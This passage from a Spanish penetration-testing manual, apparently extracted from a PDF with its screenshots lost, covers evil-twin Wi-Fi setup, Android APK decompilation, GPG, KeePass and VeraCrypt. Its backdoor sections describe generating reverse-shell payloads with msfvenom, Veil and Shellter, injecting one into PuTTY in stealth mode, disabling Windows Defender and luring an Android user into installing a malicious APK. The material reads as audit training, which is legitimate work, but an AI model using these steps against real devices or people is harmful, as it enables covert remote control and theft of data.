También podemos crear claves que combinen letras y números. Por ejemplo, creemos un
diccionario que contenga la palabra temporal y después los números desde el 2000 hasta el
2099:
Viendo las claves que ponen los operadores, quizá un diccionario (lista) para contraseñas
de routers inalámbricos podría ser todos los números de 10 cifras que comiencen por 88:
666
Ataques a redes inalámbricas
667
Ataques a redes inalámbricas
--essid nombreDeLaRed
-c canalEnElQueQureremosEmitir
Como siempre la interfaz inalámbrica en modo monitor
668
Ataques a redes inalámbricas
669
Ataques a redes inalámbricas
Para levantar un evil twin (rogue AP idéntico a otro) usamos el programa airbase-ng
pasandole las siguientes opciones:
-a BSSIDDelPuntoDeAccesoASuplantar
-essid nombreDeLaRedQueQueremosSuplantar
-c canalEnElQueEmiteLaAPLegítima
Como siempre la interfaz inalámbrica en modo monitor
Pendiente de actualizar
670
Moviles android
Referencias
1. Páginas web
Dalvik Bytecode
Apktool
Para realizar el análisis, vamos a descargar Apktool para windows. Accedemos a la web y
descargamos primero el wrapper script:
671
Moviles android
que nos va a facilitar el uso de apktool. Después hacemos click sobre el enlace que está
junto al texto Download apktool-2:
Hacemos click con el botón derecho del ratón sobre [Link] y seleccionamos edit:
672
Moviles android
para editar el script. Ahora cambiamos la ruta que viene por defecto:
por la ruta donde nos hayamos descargado el archivo con extensión jar:
En este caso, sólo hemos cambiado el nombre del archivo porque queremos que el script
seleccione la ruta del directorio donde lo ejecutemos. Para ejecutarlo, abrimos la consola de
comandos:
673
Moviles android
674
Moviles android
Una vez tenemos la herramienta, vamos a conseguir una apk. En una auditoría,
normalmente el cliente facilita la apk que tenemos que analizar, pero este caso, vamos a
descargar una apk de google play. Como Google Play espera que usemos un dispositivo
android para descargar estas apks, vamos a ayudarnos de la web Evozi:
Primero buscamos la aplicación gratuita de Google Play que queramos descargar. Por
ejemplo, el navegador Firefox. Copiamos la URL de Google Play:
675
Moviles android
para crear el link para descargar la apk. Una vez creado el link, lo pulsamos:
676
Moviles android
677
Moviles android
Entre los ficheros, veremos archivos con la extensión .dex (Davilk Executable):
Estos son los archivos ejecutables que usa android. Están compilados en dalvik bytecode
desde el lenguaje de programación Java y para poder verlos, tenemos que
desensamblarlos. Por este motivo, aunque podemos ver el contenido del paquete apk
cambiando la extensión, vamos a utilizar otras herramientas como apktool para analizar el
contenido de las aplicaciones de android. Para ello, borramos la carpeta en la que hemos
descomprimido los archivos y volvemos a cambiar la extensión del archivo de .zip a .apk:
678
Moviles android
accedemos a la carpeta donde hemos descargado apktool y donde tenemos el archivo apk
a analizar:
679
Moviles android
Aunque podríamos ver los contenidos del fichero desde la consola de comandos:
680
Moviles android
Este archivo contiene infomación importante de la apk como los permisos que necesita:
dex2jar y JD-GUI
dex2jar es una herramienta que nos permite desensamblar ficheros ejecutables de android,
esos con extensión .dex, en archivos con extensión .jar de Java. El código que escribimos
en el lenguaje de programación java, tiene que ser ejecutado por un programa que se llama
la máquina virtual de Java. Para que esto sea posible, el código fuente que escribimos en
java, tiene que ser compilado a un formato que se llama java bytecode. Los ficheros en los
que escribimos el código fuente, tienen la extensión .java y los ficheros que compilamos a
java bytecode tienen la extensión .class. Normalmente, una aplicación de Java está
compuesta por muchos ficheros compilados. Una forma de distribuir todos estos archivos
compilados, es agruparlos (comprimirlos) en un sólo fichero (archivo) que tiene la extensión
.jar. Ahora que ya sabemos lo que es un archivo .jar, vamos a usar el programa dex2jar
para convertir el conjunto de archivos compilados para android (dalvik bytecode) en su
equivalente para java (archivos .jar - java bytecode). Una vez tengamos el archivo .jar,
podremos usar el programa jd-gui para extraer del archivo .jar, todos los archivos
compilados de java (.class) y desensamblarlos en archivos .java que es donde podemos ver
el código fuente en texto plano.
681
Moviles android
682
Moviles android
683
Moviles android
De todos los archivos que hay en esta carpeta, vamos a utilizar el script [Link] para
obtener el archivo con extensión jar de Java:
684
Moviles android
Ahora que tenemos el archivo .jar, vamos a obtener el codigo fuente de los archivos
compilados en bytecode (.class) que están dentro del archivo .jar. Para ello utilizaremos jd-
gui (Java Decompiler - Graphical User Interface). Primero descargamos el archivo zip para
windows de JD-GUI desde su página web:
descomprimimos el archivo:
685
Moviles android
686
Moviles android
687
Moviles android
688
Moviles android
Hasta que nos muestre que las opciones de desarrollo han sido activadas:
Una vez tengamos activadas estas opciones, podemos usar el programa abd de android-
sdk para acceder por línea de comandos al terminal. Para ello, accedemos a la carpeta
donde se ha instado android-sdk. Normalmente la ruta es:
C:\Users\NuestroUsuario\AppData\Local\Android\Sdk\platform-tools
Tecleamos adb devices para que nos muestre los dispositivos android conectados:
689
Moviles android
En este caso, como sólo hay uno, podemos ejecutar el comando adb shell para interactuar
con el dispositivo android:
Las apks que instala el usuario suelen estar en la carpeta data y las de sistema en la
carpeta system/app:
690
Moviles android
El navegador del dispotivo, normalmente Google Chrome, tiene que tener permisos
para descargar ficheros
El dispositivo tiene que tener activada la opción para descargar aplicaciones (apks) de
fuentes no conocidas
Vamos a activar estas dos opciones en nuestro dispositivo android virtualizado. Para ello,
seleccionamos Settings de las aplicaciones:
691
Moviles android
692
Moviles android
693
Moviles android
Para crear el payload, vamos utilizaremos msfvenom. Primero listamos todos los payloads
disponibles para android:
Ahora vamos a usar metasploit para levantar un servicio a la escucha, para ello usaremos
exploit/multi/handler:
694
Moviles android
indicándole el payload:
el número de puerto
y el host:
y lo ejecutamos:
Una vez tengamos el servicio a la escucha, tenemos que conseguir que el dispositivo
android baje la apk maliciosa. Esto podemos conseguir a través de algún ataque de
ingeniería social. En este caso, vamos a descargarlo directamente desde el dipositivo
android que tenemos en virtual box. Abrimos el navegador:
695
Moviles android
Nos mostrará los permisos que requiere la aplicación para funcionar y hacemos click en
Next para continuar viendo los permisos:
696
Moviles android
697
Moviles android
Veremos que en el teléfono android no pasa nada y que hemos recibido una sesion en
metasploit:
podemos listarlos:
698
Moviles android
699
Backdoors
Backdoors
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.
Referencias
1. Páginas web:
Shellter
para ver todos los payloads que podemos generar con msfvenom, podemos ejecutar el
comando:
msfvenom -l payloads
700
Backdoors
En este caso vemos que aparece por defecto el puerto 4444, si queremos usar ese puerto,
sólo tenemos que dar como valor a la variable LHOST la ip de Kali Linux. Generamos el
payload y lo guardamos en un fichero en la ruta del servidor apache:
abrimos metasploit:
701
Backdoors
para levantar el servicio al que se conectará la backdoor desde la máquina infectada. Para
ello, tecleamos use exploit/multi/handler y pulsamos intro:
Si ejecutamos show options veremos que tenemos que no hay nada por defecto:
utilizamos el comando show options para ver las opciones del payload:
702
Backdoors
vemos que el puerto es correcto, luego sólo tenemos que dar como valor a LHOST la ip de
Kali Linux:
703
Backdoors
704
Backdoors
clonamos el repositorio:
accedemos a la carpeta:
./config/[Link]
705
Backdoors
Para ver las herramientas que vienen con Veil, tecleamos list:
706
Backdoors
Una vez seleccionado Evasion, si hacemos click en list, veremos todos los payloads que
podemos generar:
707
Backdoors
vemos que la única que es obligatoria LHOST ya que LPORT viene fijada por defecto al
puerto 8080. Introducimos en LHOST la dirección de nuestra máquina Kali Linux donde
queremos que se establezca la conexión reversa:
708
Backdoors
y después tecleamos options para verificar que los cambios se hayan realizado
correctamente:
709
Backdoors
y levantamos el servidor:
abrimos metasploit:
710
Backdoors
para levantar el servicio al que se conectará la backdoor desde la máquina infectada. Para
ello, tecleamos use exploit/multi/handler y pulsamos intro:
Si ejecutamos show options veremos que tenemos que no hay nada por defecto:
Si volvemos a ejecutar show options para ver las opciones del payload, veremos que sólo
es necesario dar valor a la variable LHOST ya que LPORT está por defecto al puerto 8080:
711
Backdoors
712
Backdoors
713
Backdoors
y descargamos la versión de 32 bits del programa [Link] que utlizaremos para inyectar el
código del backdoor. Podemos descargar putty del siguiente enlace:
[Link]
714
Backdoors
y accedemos a la carpeta:
715
Backdoors
le indicamos el nombre del fichero que queremos modificar. En este caso [Link]:
716
Backdoors
Una vez termine, nos preguntará si queremos activar el modo sigiloso. Activarlo quiere decir
que el usuario podrá ejecutar y usar el programa mientras se ejecuta el malware. Tecleamos
Y y pulsamos intro:
A continuación nos muestra los payloads que puede inyectar en putty y nos pregunta que si
queremos uno de estos u otro que tengamos. En este caso seleccionamos l para escoger
uno del listado:
717
Backdoors
718
Backdoors
y lo levantamos:
abrimos metasploit:
para levantar el servicio al que se conectará la backdoor que hay dentro de putty. Para ello,
tecleamos use exploit/multi/handler y pulsamos intro:
Si ejecutamos show options veremos que tenemos que no hay nada por defecto:
719
Backdoors
720
Backdoors
y lo dejamos a la escucha:
En este caso, la última versión de windows defender, detecta el payload, luego vamos a
desactivar windows defender en este caso hasta que los desarrolladores de shellter
modifiquen el payload. Otra opción que tendríamos es modificar a mano el binario de putty.
En el blog de RealPentesting hay una entrada de cómo hacerlo. Para desactivar windows
defender, pulsamos el icono en la barra de tareas de windows:
721
Backdoors
722
Backdoors
Pulsamos en Yes:
y quedará desactivado:
723
Backdoors
Descargamos putty:
y lo ejecutamos:
724
Backdoors
725
Backdoors
726
Backdoors
727
Backdoors
728
Criptografía
Criptografía
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.
3. Keypass
Referencias
1. Páginas web
GNU Privacy Guard
VeraCrypt Beginner's Tutorial
Maria
Javier
729
Criptografía
gpg --full-generate-key
En este caso, seleccionamos la opción 1 (RSA para cifrar y RSA para firmar) y pulsamos
intro:
A continuación nos preguntará por cuánto tiempo queremos que el par de claves sea válido.
En este caso, seleccionamos 10 días y pulsamos intro:
730
Criptografía
731
Criptografía
Pulsamos intro cuando nos pregunte por los comentarios y nos pedirá que confirmemos que
queremos crear el par de claves. Tecleamos la letra o y pulsamos intro para continuar:
732
Criptografía
733
Criptografía
Repetimos el mismo proceso para generar el par de claves para Javier. En este caso
estamos utilizando la misma máquina virtual de Kali Linux para generar las claves de María
y Javier pero, lo más normal, es que cada usuario genere las claves en su ordenador y
734
Criptografía
luego se comparta únicamente la clave pública. Para generar las claves de Javier,
seleccionamos las mismas opciones que cuando generamos el par de claves para María.
Confirmamos con la letra o y pulsamos intro:
735
Criptografía
Una vez generadas las claves, para que María y Javier puedan intercambiar mensajes
cifrados entre ellos, deben compartir su clave pública. Cuando María quiera enviar un
mensaje cifrado a Javier, utilizará la clave pública de Javier para cifrar el mensaje y Javier
usará su clave privada para descrifrarlo. Veamos cómo hacerlo con un ejemplo. Lo primero
que haremos será exportar la clave pública de Javier. Para ello, le pasaremos a gpg los
siguientes parámetros:
Para guardar la clave pública en un archivo, sólo tenemos que redireccionar la salida del
comando a un fichero:
736
Criptografía
Una vez tenemos la clave pública de javier en un fichero ([Link]) podemos compartir ese
fichero con María para que pueda cifrar la información que quiera enviar a Javier.
Cifrando un mensaje
Una vez creado el fichero [Link] podemos compartirlo con quién queramos o incluso
meterlo en un certificado. En este caso, imaginemos que lo hemos compartido con María
para que pueda enviarnos mensajes cifrados. Lo primero que hará María con la clave de
Javier es importarla. Para ello, utilizamos nuevamente el comando gpg con la opción --
import y el nombre del fichero:
Una vez importada la clave pública de Javier, ya podemos usarla para cifrar los mensajes
que le enviemos. Creamos un mensaje usando cualquier editor de texto, como por ejemplo
Vim, y lo guardamos:
Para cifrar el mensaje utilizaremos el comando gpg seguido de las siguientes opciones:
737
Criptografía
Tras ejecutar el comando, como podemos tener la clave pública de muchos usuarios
importada, nos pedirá el email del usuario al que queramos enviar el correo. En este caso
javier@[Link]:
738
Criptografía
739
Criptografía
y lo guardamos:
Descifrando un mensaje
Una vez Javier reciba el mensaje de María, puede descrifrarlo usando su clave privada.
Para ello, utilizamos el comando gpg pasandole la opción --decrypt y el fichero a descifrar:
740
Criptografía
741
Criptografía
En la respuesta podremos ver, entre otros, quién ha emitido el certificado, la versión del
protocolo que se está usando para cifrar la comunicación o el tamaño de clave:
Otro script de Nmap útil es ssl-enum-ciphers que nos va a permitir listar todos los ciphers
disponibles:
742
Criptografía
KeyPass
KeyPass es un gestor de contraseñas. Para usarlo, lo descargamos de la web oficial de
KeyPass:
Seleccionamos un idioma:
743
Criptografía
En el siguiente paso nos permite cambiar la ruta de instalación. Si estamos conformes con
la ruta por defecto pulsamos Next:
744
Criptografía
745
Criptografía
746
Criptografía
747
Criptografía
Para crear una nueva base de datos, hacemos click en el botón New:
748
Criptografía
749
Criptografía
En este caso, aceptamos las opciones por defecto y pulsamos el botón OK:
750
Criptografía
A continuación nos preguntará si queremos crear una hoja donde podemos anotar la
contraseña para que, en caso de no recordarla, podamos acceder al fichero. Atendiendo a
qué es mejor recordar la contraseña que tenerla escrita en alguna parte, selecciono
saltarme este paso:
751
Criptografía
Podemos borrarlos, haciendo click con el botón derecho sobre el ejemplo que queramos
borrar y pulsando sobre Delete Entry:
752
Criptografía
Completamos todos los datos. Por ejemplo, en este caso ponemos nuestras credenciales
de GitHub y pulsamos OK:
753
Criptografía
para almacenarlas:
volvemos a KeyPass, hacemos click con el botón derecho del ratón sobre GitHub y
seleccionamos Perform Auto-Type o pulsamos las teclas Ctrl+v:
754
Criptografía
Una vez hayamos terminado de trabajar con KeyPass, pulsamos el botón del disquete para
guardar las nuevas credenciales creadas o los cambios realizados:
755
Criptografía
VeraCrypt
Este tutorial está basado VeraCrypt Beginner's Tutorial. Descargamos VeraCrypt para el
sistema operativo que estemos usando desde la web de descargas:
756
Criptografía
757
Criptografía
Como queremos instalarlo, dejamos la opción Install seleccionada y hacemos click en Next:
Tras revisar las opciones y la ruta por defecto, hacemos click en Install:
758
Criptografía
759
Criptografía
Nos preguntará si queremos ver el tutoríal de VeraCrypt. En este caso, selecciono No:
760
Criptografía
761
Criptografía
762
Criptografía
763
Criptografía
En este caso, dejamos las opciones por defecto y pulsamos el botón Next:
764
Criptografía
Ponemos una contraseña para poder descifrar la información del contenedor y pulsamos en
Next:
765
Criptografía
Por último, movemos el ratón de forma aleatoria hasta que la barra llegue al final y después
pulsamos el botón format:
766
Criptografía
767
Criptografía
y nos preguntará si queremos crear otro contenedor. En este caso, seleccionamos Exit para
salir:
Podemos verificar que se ha creado un archivo del tamaño que seleccionamos. En este
caso 10GB:
768
Criptografía
Para abrir el disco duro virtual que hay en este archivo, volvemos a VeraCrypt, hacemos
click en la letra que queramos y pulsamos el botón Select File...:
769
Criptografía
Nos preguntará la contraseña para poder descifrar el contenido del archivo y montar el
disco duro virtual. La introducimos y hacemos click en el botón OK:
770
Criptografía
Una vez termine de montar el disco duro virtual, veremos la ruta del archivo al lado de la
letra P:
771
Criptografía
podemos usar esta nueva unidad como cualquier otra unidad de almacenamiento y guardar
en ella la información que queramos que esté cifrada:
772
Criptografía
Una vez terminemos de usar la unidad, antes de apagar el ordenador, debemos desmontar
la unidad. Para ello, volvemos a VeraCrypt y pulsamos el botón Dismount:
773
Criptografía
774